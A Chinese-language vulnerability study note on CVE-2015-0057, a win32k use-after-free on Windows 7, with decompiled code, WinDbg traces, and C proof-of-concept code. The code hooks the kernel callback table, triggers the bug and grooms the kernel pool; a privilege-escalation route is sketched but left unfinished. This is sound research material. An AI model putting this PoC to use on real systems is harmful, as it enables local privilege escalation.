-
-
[原创]CVE-2015-0057提权漏洞学习笔记
-
2022-5-13 23:12
-
一.前言
1.漏洞描述
该漏洞是一个UAF漏洞，存在于win32k!xxxEnableWndSBArrows函数中。xxxEnableWndSBArrows函数会对tagWND对象的pSBInfo指针所指向的tagSBINFO结构体中的成员进行计算，但是在计算之前，xxxEnableWndSBArrows函数并没有验证tagSBINFO对象是否存在。如果tagSBINFO对象不存在，此时就会产生写入错误。通过内存布局，可以在释放的tagSBINFO对象中使用tagPROPLIST对象进行填充，那么xxxEnableWndSBArrows函数就会修改tagPROPLIST对象中的成员造成写溢出，利用这个写溢出可以实现任意地址写的操作，最终实现提权。然而，这个实现真的太难了，目前写不出exp利用它，希望以后可以。
2.实验环境
操作系统：Win7 x86 sp1 专业版
编译器：Visual Studio 2017
调试器：IDA Pro，OllyDbg，WinDbg
二.漏洞分析
1.漏洞成因
xxxEnableWndSBArrows函数用于开启或关闭一个或两个(水平或垂直)滚动条控件的箭头，窗口对象tagWND中保存了指向保存滚动条对象的结构体指针。tagWND对象的结构体定义如下：
2: kd> dt -v win32k!tagWND struct tagWND, 170 elements, 0xb0 bytes +0x000 head : struct _THRDESKHEAD, 5 elements, 0x14 bytes +0x014 state : Uint4B +0x018 state2 : Uint4B +0x01c ExStyle : Uint4B +0x020 style : Uint4B +0x024 hModule : Ptr32 to Void +0x028 hMod16 : Uint2B +0x02a fnid : Uint2B +0x02c spwndNext : Ptr32 to struct tagWND, 170 elements, 0xb0 bytes +0x030 spwndPrev : Ptr32 to struct tagWND, 170 elements, 0xb0 bytes +0x034 spwndParent : Ptr32 to struct tagWND, 170 elements, 0xb0 bytes +0x038 spwndChild : Ptr32 to struct tagWND, 170 elements, 0xb0 bytes +0x03c spwndOwner : Ptr32 to struct tagWND, 170 elements, 0xb0 bytes +0x040 rcWindow : struct tagRECT, 4 elements, 0x10 bytes +0x050 rcClient : struct tagRECT, 4 elements, 0x10 bytes +0x060 lpfnWndProc : Ptr32 to long +0x064 pcls : Ptr32 to struct tagCLS, 25 elements, 0x5c bytes +0x068 hrgnUpdate : Ptr32 to struct HRGN__, 1 elements, 0x4 bytes +0x06c ppropList : Ptr32 to struct tagPROPLIST, 3 elements, 0x10 bytes +0x070 pSBInfo : Ptr32 to struct tagSBINFO, 3 elements, 0x24 bytes +0x074 spmenuSys : Ptr32 to struct tagMENU, 19 elements, 0x6c bytes +0x078 spmenu : Ptr32 to struct tagMENU, 19 elements, 0x6c bytes +0x07c hrgnClip : Ptr32 to struct HRGN__, 1 elements, 0x4 bytes +0x080 hrgnNewFrame : Ptr32 to struct HRGN__, 1 elements, 0x4 bytes +0x084 strName : struct _LARGE_UNICODE_STRING, 4 elements, 0xc bytes +0x090 cbwndExtra : Int4B +0x094 spwndLastActive : Ptr32 to struct tagWND, 170 elements, 0xb0 bytes +0x098 hImc : Ptr32 to struct HIMC__, 1 elements, 0x4 bytes +0x09c dwUserData : Uint4B +0x0a0 pActCtx : Ptr32 to struct _ACTIVATION_CONTEXT, 0 elements, 0x0 bytes +0x0a4 pTransform : Ptr32 to struct _D3DMATRIX, 16 elements, 0x40 bytes +0x0a8 spwndClipboardListenerNext : Ptr32 to struct tagWND, 170 elements, 0xb0 bytes +0x0ac ExStyle2 : Uint4B
其中偏移0x70保存的是tagSBINFO结构体指针，该结构体保存了滚动条对象的信息，结构体定义如下：
2: kd> dt -v win32k!tagSBINFO -r struct tagSBINFO, 3 elements, 0x24 bytes +0x000 WSBflags : Int4B +0x004 Horz : struct tagSBDATA, 4 elements, 0x10 bytes // 保存水平滚动条的相关信息 +0x000 posMin : Int4B +0x004 posMax : Int4B +0x008 page : Int4B +0x00c pos : Int4B +0x014 Vert : struct tagSBDATA, 4 elements, 0x10 bytes // 保存垂直滚动条的相关信息 +0x000 posMin : Int4B +0x004 posMax : Int4B +0x008 page : Int4B +0x00c pos : Int4B
xxxEnableWndSBArrows函数的反汇编代码如下，第二个参数和第三个参数要设定为特定的值来达到漏洞点，暂时先忽略这两个参数。真正产生漏洞的是第一个参数，该参数就是要设置滚动条的窗口对象tagWND。在xxxEnableWndSBArrows函数开始会将tagWND对象的tagSBINFO对象地址取出，之后会调用xxxDrawScrollBar，该函数将会返回用户层，执行用户层的ClientLoadLibrary函数，之后，xxxEnableWndSBArrows函数会对tagSNINFO的第一个成员，即WSBflags成员进行计算。在对WSBflags成员进行计算的时候，xxxEnableWndSBArrows函数并没有验证tagSBINFO对象是否存在，而在调用xxxDrawScrollBar函数的时候，用户可以HOOK ClientLoadLibrary函数，在用户定义的函数中可以释放tagWND对象，导致tagSBINFO对象被释放，从而导致xxxEnableWndSBArrows函数对一个被释放的tagSBINFO对象的WSBflags成员进行计算，造成了错误。
signed int __stdcall xxxEnableWndSBArrows(int pTagWnd, int wSBflags, int wArrow)
{
int var_pTagWnd;
int *SBInfo;
var_pTagWnd = pTagWnd;
SBInfo = *(int **)(pTagWnd + 0x70); // tagWND偏移0x70保存的是pSBInfo，对其进行解引用得到结构体tagSBINFO的地址
if ( SBInfo )
{
// 取出tagSBINFO的第一个成员，即WSBflags
WSBflags = *SBInfo;
}
if ( !wSBflags || wSBflags == 3 ) // 判断wSBflags是否不为0或等于3
{
if ( wArrow ) // 判断wArrow是否为0
*SBInfo |= wArrow; // 不为0，将tagSBINFO的第一个成员，即WSBflags的值与wArrow进行或运算
else
*SBInfo &= 0xFFFFFFFC; // 为0则低两位清0
if ( *SBInfo != WSBflags ) // 判断WSBflags是否发生更改
{
if ( *(_BYTE *)(var_pTagWnd + 0x14) & 4 )
{
// IsVisible将会对tagWND是否可见进行判断，可见则返回TRUE
if ( !(*(_BYTE *)(var_pTagWnd + 0x23) & 0x20) && IsVisible(var_pTagWnd) )
// 该函数的调用会返回到用户层执行代码,此时用户可以通过HOOK来释放tagWND从而导致对应的tagSBINFO对象也被释放
xxxDrawScrollBar((_DWORD *)var_pTagWnd, WinDC, 0);
}
}
}
if ( wSBflags == 1 || wSBflags == 3) // 判断wSBflags是否等于1或者等于3
{
// 对WSBflags进行计算，这里没有验证tagSBINFO是否存在，导致漏洞的产生
*SBInfo = wArrow ? 4 * wArrow | *SBInfo : *SBInfo & 0xFFFFFFF3;
}
}2.执行用户层函数
xxxEnableWndSBArrows函数通过xxxDrawScrollBar函数返回到用户层，xxxDrawScrollBar函数通过层层调用返回到用户层的。一步步跟进的话，会发现返回到用户层的调用流程是：xxxDrawScrollBar->xxxDrawSB2->xxxGetColorObjects->xxxDefWindowProc->xxxLoadUserApiHook->xxLoadHmodIndex->ClientLoadLibrary。在ClientLoadLibrary函数中，会调用KeUserModeCallback：
.text:BF895BD9 lea eax, [ebp+var_228] .text:BF895BDF push eax .text:BF895BE0 lea eax, [ebp+var_22C] .text:BF895BE6 push eax .text:BF895BE7 push dword ptr [esi] .text:BF895BE9 push esi .text:BF895BEA push 41h .text:BF895BEC call ds:__imp__KeUserModeCallback@20 ; KeUserModeCallback(x,x,x,x,x) .text:BF895BF2 mov edi, eax
KeUserModeCallback函数实现了win32k的回调机制，调用该函数可以返回到用户层执行用户层的函数，这些用户层的函数被预先设定在了回调函数表中，KeUserModeCallback函数的定义如下：
NTSTATUS NTAPI KeUserModeCallback(IN ULONG RoutineIndex, IN PVOID Argument, IN ULONG ArgumentLength, OUT PVOID *Result, OUT PULONG ResultLength)
回调函数表可以认为是一个数组，里面的每一个元素都保存了不同的用户层函数的函数地址。KeUserModeCallback函数的第一个参数就是该回调函数表的索引，通过这个索引就可以从回调函数表中找到要执行的用户层的函数，这里这个索引是0x41。
回调函数表的首地址，保存在了PEB结构体偏移0x2C的KernelCallbackTable成员中
kd> dt _PEB ntdll!_PEB +0x02c KernelCallbackTable : Ptr32 Void
想要查看函数地址表中的内容，只需要随便将一个文件放入到OllyDbg中，在数据窗口首先通过fs:[0x30]获取PEB地址：
在PEB偏移0x2C的地址就可以获取函数地址表的地址：
找到函数地址表的地址，就可以根据索引找到相应的函数，由于函数地址表所指向的是一个4字节的数组，索引索引值乘以4就得到相应的保存了函数地址的地址：
该函数是user32.dll中的函数，根据这里的地址和user32.dll的加载地址就可以算出偏移，最后在IDA中可以看到这个函数是ClientLoadLibrary，只有一个参数且调用声明是__stdcall。
根据上面的过程，可以通过获取PEB中的函数地址表中相应的函数地址来实现HOOK操作，相应代码如下：
BOOL HookClientLoadLibrary()
{
BOOL bRet = TRUE;
PDWORD dwTarFuncAddr = 0;
DWORD dwOldProtect = 0;
dwTarFuncAddr = GetClientLoadLibrary();
// 保存原函数
g_dwOrgClientLoadLibrary = *dwTarFuncAddr;
// 修改页属性为可读可写
if (!VirtualProtect(dwTarFuncAddr,
sizeof(DWORD),
PAGE_READWRITE,
&dwOldProtect))
{
bRet = FALSE;
ShowError("VirtualProtect", GetLastError());
goto exit;
}
// HOOK原函数
*dwTarFuncAddr = (DWORD)MyClientLoadLibrary;
// 恢复页属性
if (!VirtualProtect(dwTarFuncAddr,
sizeof(DWORD),
dwOldProtect,
&dwOldProtect))
{
bRet = FALSE;
ShowError("VirtualProtect", GetLastError());
goto exit;
}
exit:
return bRet;
}
PDWORD GetClientLoadLibrary()
{
// 获取ClientLoadLibrary函数地址的函数表地址
__asm
{
mov eax, fs:[0x30] // eax = PEB
mov eax, [eax + 0x2C] // eax = KernelCallbackTable
lea eax, [eax + 0x41 * 4] // eax = ClientLoadLibrary
}
}三.漏洞验证
1.漏洞触发
要触发该漏洞，首先需要通过CreateWindowEx函数来创建一个带有滚动条控件的窗口对象，CreateWindowEx函数定义如下：
HWND WINAPI CreateWindowExA( __in DWORD dwExStyle, __in_opt LPCSTR lpClassName, __in_opt LPCSTR lpWindowName, __in DWORD dwStyle, __in int X, __in int Y, __in int nWidth, __in int nHeight, __in_opt HWND hWndParent, __in_opt HMENU hMenu, __in_opt HINSTANCE hInstance, __in_opt LPVOID lpParam);
调用该函数时，如果第四个参数dwStyle带有WS_VSCROLL和WS_HSCROLL标记，则创建的窗口就会具有滚动条控件。
#define WS_VSCROLL 0x00200000L #define WS_HSCROLL 0x00100000L
在上面的xxxEnableWndSBArrows函数中可以看到，在调用xxxDrawScrollBar返回用户层执行之前，会调用IsVisible对窗口对象tagWND是否可见进行判断。如果不可见，将不会调用xxxDrawScrollBar，因此，创建完窗口之后需要通过ShowWindow函数来让创建的窗口可见，该函数定义如下：
BOOL ShowWindow(HWND hWnd,int nCmdShow);
第一个参数即是要操作的窗口对象，第二个参数指定了窗口的属性，当它为SW_SHOW时，该窗口可见，此时IsVisible函数就会返回TRUE。
#define SW_SHOW 5
有了窗口对象，接下来就可以通过EnableScrollBar函数来触发漏洞，该函数最终将会执行win32k中的xxxEnableWndSBArrows。EnableScrollBar函数的定义如下：
BOOL EnableScrollBar(HWND hWnd, UINT wSBflags, UINT wArrows);
该函数的三个参数和xxxEnableWndSBArrows函数的三个参数一样，其中第一个参数就是前面提到的窗口对象。第二个参数wSBflags用来指定要操纵的滚动条，相关定义如下：
/* * Scroll Bar Constants */ #define SB_HORZ 0 #define SB_VERT 1 #define SB_CTL 2 #define SB_BOTH 3
第三个参数wArrows是用来表示箭头状态是否是可用的，相关定义如下：
/* * EnableScrollBar() flags */ #define ESB_ENABLE_BOTH 0x0000 #define ESB_DISABLE_BOTH 0x0003 #define ESB_DISABLE_LEFT 0x0001 #define ESB_DISABLE_RIGHT 0x0002 #define ESB_DISABLE_UP 0x0001 #define ESB_DISABLE_DOWN 0x0002
为了利用这个漏洞，此时第二个参数和第三个参数要分别传入SB_BOTH和ESB_DISABLE_BOTH，也就是都传入3，这样可以顺利到达漏洞点。且在最后对对象tagSBINFO的成员WSBflags进行计算的时候，会增大它的值。
综上，最终实现漏洞触发的代码如下：
BOOL Trigger_CVE_2015_0057()
{
BOOL bRet = TRUE;
CHAR className[] = "Trigger";
WNDCLASSEX wc = { 0 };
memset(&wc, 0, sizeof(WNDCLASSEX));
wc.cbSize = sizeof(WNDCLASSEX);
wc.lpfnWndProc = DefWindowProc;
wc.hInstance = GetModuleHandle(NULL);
wc.hIcon = LoadIcon(NULL, IDI_APPLICATION);
wc.hCursor = LoadCursor(NULL, IDC_ARROW);
wc.hbrBackground = (HBRUSH)(COLOR_WINDOW + 1);
wc.lpszClassName = className;
wc.hIconSm = LoadIcon(NULL, IDI_APPLICATION);
if (!RegisterClassEx(&wc))
{
bRet = FALSE;
ShowError("RegisterClassEx", GetLastError());
goto exit;
}
g_hWnd_2015_0057 = CreateWindowEx(0,
className,
0,
SBS_HORZ |
WS_HSCROLL |
WS_VSCROLL,
10,
10,
100,
100,
NULL,
NULL,
NULL,
NULL);
if (!g_hWnd_2015_0057)
{
ShowError("CreateWindowEx", GetLastError());
bRet = FALSE;
goto exit;
}
// 让创建可见，绕过IsVisible函数的判断
ShowWindow(g_hWnd_2015_0057, SW_SHOW);
UpdateWindow(g_hWnd_2015_0057);
// 设置标记，表明调用函数的时候是要触发漏洞的时候
g_bFlag_2015_0057 = TRUE;
//触发漏洞
if (!EnableScrollBar(g_hWnd_2015_0057,
SB_BOTH,
ESB_DISABLE_BOTH))
{
ShowError("EnableScrollBar", GetLastError());
bRet = FALSE;
goto exit;
}
exit:
return bRet;
}2.POC代码编写
由上面内容可以知道，漏洞是由EnableScrollBar函数触发的，在触发漏洞之前，可以通过对PEB的函数地址表中相应的函数进行HOOK的方式来实现执行用户需要的代码，所以POC的代码如下：
BOOL POC_CVE_2015_0057()
{
BOOL bRet = TRUE;
if (!HookClientLoadLibrary())
{
bRet = FALSE;
goto exit;
}
if (!Trigger_CVE_2015_0057())
{
bRet = FALSE;
goto exit;
}
exit:
return bRet;
}HOOK以后要执行的函数，无非是将创建的窗口对象释放掉，这样就会相应的释放掉对应的tagSBINFO对象。因为ClientLoadLibrary函数会被多次调用，所以这里使用全局变量g_bFlags和g_dwCount用来实现在漏洞触发的时候会它进行调用。
DWORD MyClientLoadLibrary(DWORD arg0)
{
if (g_bFlag_2015_0057)
{
g_dwCount_2015_0057++;
if (g_dwCount_2015_0057 == 2)
{
g_bFlag_2015_0057 = FALSE;
if (!DestroyWindow(g_hWnd_2015_0057))
{
ShowError("DestroyWindow", GetLastError());
goto exit;
}
UnHookClientLoadLibrary();
}
}
exit:
char buf[0x1000] = { 0 };
return ((lpClientLoadLibrary)g_dwOrgClientLoadLibrary)((DWORD)buf);
}在xxxEnableWndSBArrows函数中下断点，编译运行POC代码。可以看到，在执行xxxDrawScrollBar函数，返回用户层之前，此时的tagWND对象和tagSBINFO对象是存在的：
win32k!xxxEnableWndSBArrows+0x8e: 96989bf7 6a00 push 0 3: kd> p win32k!xxxEnableWndSBArrows+0x90: 96989bf9 ff75fc push dword ptr [ebp-4] 3: kd> p win32k!xxxEnableWndSBArrows+0x93: 96989bfc 57 push edi 3: kd> p win32k!xxxEnableWndSBArrows+0x94: 96989bfd e83fcd0100 call win32k!xxxDrawScrollBar (969a6941) 3: kd> r edi edi=fea0f9c0 3: kd> dt tagWND fea0f9c0 -r pSBInfo win32k!tagWND +0x070 pSBInfo : 0xfea0fa78 tagSBINFO 3: kd> dt tagSBINFO 0xfea0fa78 win32k!tagSBINFO +0x000 WSBflags : 0n3 +0x004 Horz : tagSBDATA +0x014 Vert : tagSBDATA
当执行完xxxDrawScrollBar的时候，tagWND对象就已经被释放，tagSBINFO对象也会跟着释放，原来保存tagSBINFO对象的内存也被修改为特别奇怪的数值，也就意味着此时修改了其他内存的值：
3: kd> p win32k!xxxEnableWndSBArrows+0x99: 96989c02 8b06 mov eax,dword ptr [esi] 2: kd> dt tagWND fea0f9c0 -r pSBInfo win32k!tagWND +0x070 pSBInfo : (null) 2: kd> dt tagSBINFO 0xfea0fa78 win32k!tagSBINFO +0x000 WSBflags : 0n-23004480 +0x004 Horz : tagSBDATA +0x014 Vert : tagSBDATA
可是继续向下运行，函数依然会对tagSBINFO对象的WSBflags成员进行计算，最终程序继续执行系统虽然没有蓝屏，但是会直接卡死。
3: kd> p win32k!xxxEnableWndSBArrows+0xdf: 96989c48 c1e002 shl eax,2 3: kd> p win32k!xxxEnableWndSBArrows+0xe2: 96989c4b 0906 or dword ptr [esi],eax 3: kd> p win32k!xxxEnableWndSBArrows+0xe4: 96989c4d 8b4508 mov eax,dword ptr [ebp+8] 3: kd> r esi esi=fea0fa78 3: kd> r eax eax=0000000c 3: kd> dt tagSBINFO 0xfea0fa78 win32k!tagSBINFO +0x000 WSBflags : 0n-23004468 +0x004 Horz : tagSBDATA +0x014 Vert : tagSBDATA
四.漏洞利用
1.内存填充
xxxEnableWndSBArrows函数会对被释放的tagSBINFO对象进行写入，要利用这个漏洞就需要在tagSBINFO对象的内存区域保存tagPROPLIST对象，该结构体的定义如下：
2: kd> dt -v win32k!tagPROPLIST struct tagPROPLIST, 3 elements, 0x10 bytes +0x000 cEntries : Uint4B +0x004 iFirstFree : Uint4B +0x008 aprop : [1] struct tagPROP, 3 elements, 0x8 bytes 2: kd> dt -v win32k!tagPROP struct tagPROP, 3 elements, 0x8 bytes +0x000 hData : Ptr32 to Void +0x004 atomKey : Uint2B +0x006 fs : Uint2B
显然，tagPROPLIST对象是用来保存tagPROP结构体数组的。cEntries用来说明共可以保存多少个tagPROP结构体，iFirstFree保存当前已经保存了多少个tagPROP结构体，aprop则是tagPROP结构体数组。可以通过SetProp函数在tagPROPLIST中增加tagPROP，函数定义如下：
BOOL SetProp(HWND hWnd, LPCTSTR lpString, HANDLE hData);
其中参数lpString对应tagPROP结构体中的atomKey，hData对应tagPROP中的hData。当通过SetProp增加tagPROP对象的时候，函数会遍历tagPROPLIST结构体中的tagPROP数组，将其中atomKey和lpString进行对比，如果一样则将hData中的数据替换为调用SetProp函数时指定的第三个参数。如果不一样，就会判断iFirstFree是否小于cEntries，如果不小于则添加失败，否则会重新申请一块内存用来保存tagPROPLIST，因为此时多增加了一个tagPROP原来的内存不够存放了。当tagPROPLIST中包含3个tagPROP对象的时候，此时tagPROPLIST占用的内存就会是0x10 + 0x8 +0x8 = 0x20，而一个tagSBINFO占用0x24字节，此时包含3个tagPROP对象的tagPROPLIST就会占用释放掉的tagSBINFO，xxxEnableWndSBArrows函数在向下继续运行修改tagSBINFO中的WSBflags的时候，就会修改tagPROPLIST中的cEntries(增大它的数值)，这样就可以通过SetProp函数来对内存进行写溢出操作。
要实现上面的内容，首先需要通过创建一些窗口，通过调用两次SetProp来设置tagPROPLIST中的数值消耗空余内存。在重复上述调用构造如下的内存布局：
相应的代码如下：
BOOL Init_CVE_2015_0057()
{
BOOL bRet = TRUE;
DWORD i = 0;
char className[] = "Fake";
WNDCLASSEXA wc = { 0 };
memset(&wc, 0, sizeof(wc));
wc.cbSize = sizeof(wc);
wc.hInstance = GetModuleHandleA(NULL);
wc.hIcon = LoadIcon(NULL, IDI_APPLICATION);
wc.hCursor = LoadCursor(NULL, IDC_ARROW);
wc.hbrBackground = (HBRUSH)(COLOR_WINDOW + 1);
wc.lpszClassName = className;
wc.hIconSm = LoadIcon(NULL, IDI_APPLICATION);
wc.lpfnWndProc = WndProc_CVE_2015_0057;
if (!RegisterClassExA(&wc))
{
bRet = FALSE;
ShowError("RegisterClassExA", GetLastError());
goto exit;
}
// 消耗空闲内存块
for (i = 0; i < JUNK_OBJECTS; i++)
{
HWND hWnd = CreateWindowExA(0,
className,
NULL,
WS_OVERLAPPEDWINDOW,
CW_USEDEFAULT,
CW_USEDEFAULT,
CW_USEDEFAULT,
CW_USEDEFAULT,
NULL,
NULL,
NULL,
NULL);
if (!hWnd)
{
bRet = FALSE;
ShowError("CreateWindowExA", GetLastError());
goto exit;
}
if (!SetProp(hWnd, (LPCSTR)(1), (HANDLE)0x1900))
{
bRet = FALSE;
ShowError("SetProp", GetLastError());
goto exit;
}
if (!SetProp(hWnd, (LPCSTR)(1), (HANDLE)0x1900))
{
bRet = FALSE;
ShowError("SetProp", GetLastError());
goto exit;
}
}
// 用来占用tagSBINFO
for (i = 0; i < FAKE_OBJECTS; i++)
{
g_hWndFake_2015_0057[i] = CreateWindowExA(0,
className,
NULL,
WS_OVERLAPPEDWINDOW,
CW_USEDEFAULT,
CW_USEDEFAULT,
CW_USEDEFAULT,
CW_USEDEFAULT,
NULL,
NULL,
NULL,
NULL);
if (!g_hWndFake_2015_0057[i])
{
bRet = FALSE;
ShowError("CreateWindowExA", GetLastError());
goto exit;
}
if (!SetProp(g_hWndFake_2015_0057[i], (LPCSTR)(1), (HANDLE)0x1900))
{
bRet = FALSE;
ShowError("SetProp", GetLastError());
goto exit;
}
if (!SetProp(g_hWndFake_2015_0057[i], (LPCSTR)(2), (HANDLE)0x1900))
{
bRet = FALSE;
ShowError("SetProp", GetLastError());
goto exit;
}
}
exit:
return bRet;
}在触发漏洞之前，首先会创建一个带有tagSBINFO对象的窗口对象，这个新建的tagWND和tagSBINFO对象就会占用空闲内存，所以此时的内存布局就会如下：
接下来通过xxxEnableWndSBArrows函数触发漏洞的时候，会首先返回到用户层的ClientLoadLibrary函数，在这个函数中会释放tagWND和tagSBINFO对象，此时在通过SetProp函数增加前面的tagPROPLIST对象中的tagPROP对象，那么增加了tagPROP对象的tagPROPLIST就会占用被释放的tagSBINFO对象，此时的内存布局如下：
所以这个时候，对应的ClientLoadLibrary函数的实现就如下所示：
DWORD MyClientLoadLibrary(DWORD arg0)
{
if (g_bFlag_2015_0057)
{
g_dwCount_2015_0057++;
if (g_dwCount_2015_0057 == 2)
{
g_bFlag_2015_0057 = FALSE;
// 销毁tagWND对象，跟着也会销毁tagSBINFO对象
if (!DestroyWindow(g_hWnd_2015_0057))
{
ShowError("DestroyWindow", GetLastError());
goto exit;
}
UnHookClientLoadLibrary();
// 增加tagPROP，让tagPROPLIST占用tagSBINFO
for (DWORD i = 1; i < FAKE_OBJECTS; i++)
{
SetProp(g_hWndFake_2015_0057[i], (LPCSTR)(3), (HANDLE)0x1874);
}
}
}
exit:
char buf[0x1000] = { 0 };
return ((lpClientLoadLibrary)g_dwOrgClientLoadLibrary)((DWORD)buf);
}在xxxEnableWndSBArrows函数下断点，再次编译运行程序，当运行到xxxDrawScrollBar函数返回到用户层之前，此时可以看到tagWND和tagSBINFO是存在的：
3: kd> p win32k!xxxEnableWndSBArrows+0x8e: 96e69bf7 6a00 push 0 3: kd> p win32k!xxxEnableWndSBArrows+0x90: 96e69bf9 ff75fc push dword ptr [ebp-4] 3: kd> p win32k!xxxEnableWndSBArrows+0x93: 96e69bfc 57 push edi 3: kd> p win32k!xxxEnableWndSBArrows+0x94: 96e69bfd e83fcd0100 call win32k!xxxDrawScrollBar (96e86941) 3: kd> r edi edi=feb0aaa0 3: kd> dt tagWND feb0aaa0 -r pSBInfo win32k!tagWND +0x070 pSBInfo : 0xfeb0acb8 tagSBINFO 3: kd> dt tagSBINFO 0xfeb0acb8 win32k!tagSBINFO +0x000 WSBflags : 0n3 +0x004 Horz : tagSBDATA +0x014 Vert : tagSBDATA
执行完xxxDrawScrollBar函数之后，tagSBINFO就会被tagPROPLIST对象占用，且数组中有3个tagPROP元素。
3: kd> p win32k!xxxEnableWndSBArrows+0x99: 96e69c02 8b06 mov eax,dword ptr [esi] 1: kd> dt tagWND feb0aaa0 -r pSBInfo win32k!tagWND +0x070 pSBInfo : (null) 1: kd> dt tagPROPLIST 0xfeb0acb8 win32k!tagPROPLIST +0x000 cEntries : 3 +0x004 iFirstFree : 3 +0x008 aprop : [1] tagPROP
继续向下运行，就会看到函数会将cEntries从0x3修改为0xF:
win32k!xxxEnableWndSBArrows+0xdf: 96e69c48 c1e002 shl eax,2 1: kd> p win32k!xxxEnableWndSBArrows+0xe2: 96e69c4b 0906 or dword ptr [esi],eax 1: kd> p win32k!xxxEnableWndSBArrows+0xe4: 96e69c4d 8b4508 mov eax,dword ptr [ebp+8] 1: kd> dt tagPROPLIST 0xfeb0acb8 win32k!tagPROPLIST +0x000 cEntries : 0xf +0x004 iFirstFree : 3 +0x008 aprop : [1] tagPROP
这个时候继续调用SetProp函数，就会对相邻的内存进行越界写入操作。
2.任意地址写入
想要实现任意地址写入，需要用到tagWND结构体中的strName成员：
3: kd> dt win32k!tagWND -r strName +0x084 strName : _LARGE_UNICODE_STRING
该成员是_LARGE_UNICODE_STRING结构体，定义如下：
3: kd> dt -v win32k!_LARGE_UNICODE_STRING struct _LARGE_UNICODE_STRING, 4 elements, 0xc bytes +0x000 Length : Uint4B +0x004 MaximumLength : Bitfield Pos 0, 31 Bits +0x004 bAnsi : Bitfield Pos 31, 1 Bit +0x008 Buffer : Ptr32 to Uint2B
该成员是用来设置字符串的，可以通过RtlInitLargeUnicodeString函数来初始化要设置的_LARGE_UNICODE_STRING结构体，函数定义如下：
VOID NTAPI RtlInitLargeUnicodeString(PLARGE_UNICODE_STRING DestinationString, PCWSTR SourceString, INT Unknown, INT datasize)
接下来就可以通过NtUserDefSetText函数来将字符串写入到相应的窗口对象中，函数定义如下：
BOOL NTAPI NtUserDefSetText(HWND hwnd, PLARGE_UNICODE_STRING pstrText);
而具体将字符串复制的目标地址，则由_LARGE_UNICODE_STRING中的Buffer成员指定，所以如果可以设置这个成员的值，也就是tagWND对象偏移0x8C处的值为任意地址，就可以通过NtUserDefSetText函数实现任意地址读写。
但是并不能在tagPROPLIST对象后跟tagWND对象，然后通过SetProp时的越界写操作修改tagWND中的Buffer。因为Buffer的偏移是0x8C，不能被8整除，可是用SetProp写入内存的时候，只可以修改前面的6个字节，也就是hData和atomKey。
所以要成功利用，还要分以下几个步骤，首先是在被利用增大的tagPROPLIST后在跟一个tagPROPLIST，这样就可以通过被增大的tagPROPLIST来修改后面跟着的tagPROPLIST中的cEntires和iFirstFree，把前者增大实现越界写，后者则可以用来指定要写入的地址，如下图所示：
iFirstFree指向的是相邻tagWND的tagSBINFO指针，该指针在偏移0x70处，是可以被8整除。此时再看tagSBINFO的结构：
2: kd> dt -v win32k!tagSBINFO -r struct tagSBINFO, 3 elements, 0x24 bytes +0x000 WSBflags : Int4B +0x004 Horz : struct tagSBDATA, 4 elements, 0x10 bytes // 保存水平滚动条的相关信息 +0x000 posMin : Int4B +0x004 posMax : Int4B +0x008 page : Int4B +0x00c pos : Int4B +0x014 Vert : struct tagSBDATA, 4 elements, 0x10 bytes // 保存垂直滚动条的相关信息 +0x000 posMin : Int4B +0x004 posMax : Int4B +0x008 page : Int4B +0x00c pos : Int4B
其中的posMin和posMax是可以通过SetScrollInfo函数来进行修改的，该函数定义如下：
int SetScrollInfo( HWND hwnd, int fnBar, LPCSCROLLINFO lpsi, BOOL fRedraw);
第四个参数是一个SCROLLINFO结构体，用来指明要写入的数据，该结构体定义如下：
typedef struct tagSCROLLINFO {
UINT cbSize;
UINT fMask;
int nMin;
int nMax;
UINT nPage;
int nPos;
int nTrackPos;
} SCROLLINFO, *LPSCROLLINFO;
typedef SCROLLINFO CONST *LPCSCROLLINFO;当fMask指定为SIF_RANGE的时候，nMin和nMax中的值就会写入到tagSBINFO中的posMin和posMax。所以，将相邻的tagWND的tagSBINFO指针指向strName的MaximumLength，如下图所示，就可以通过SetScrollInfo函数修改posMin和posMax来修改Buffer，实现任意地址写入。
然而这个过程真的太难了，暂时不知道要怎么实现，希望以后可以成功实现吧。
五.参考链接
附件一个是国外的一个师傅写的分析，另一个是国内的一个师傅的翻译。
[培训]《安卓高级研修班(网课)》月薪三万计划，掌握调试、分析还原ollvm、vmp的方法，定制art虚拟机自动化脱壳的方法
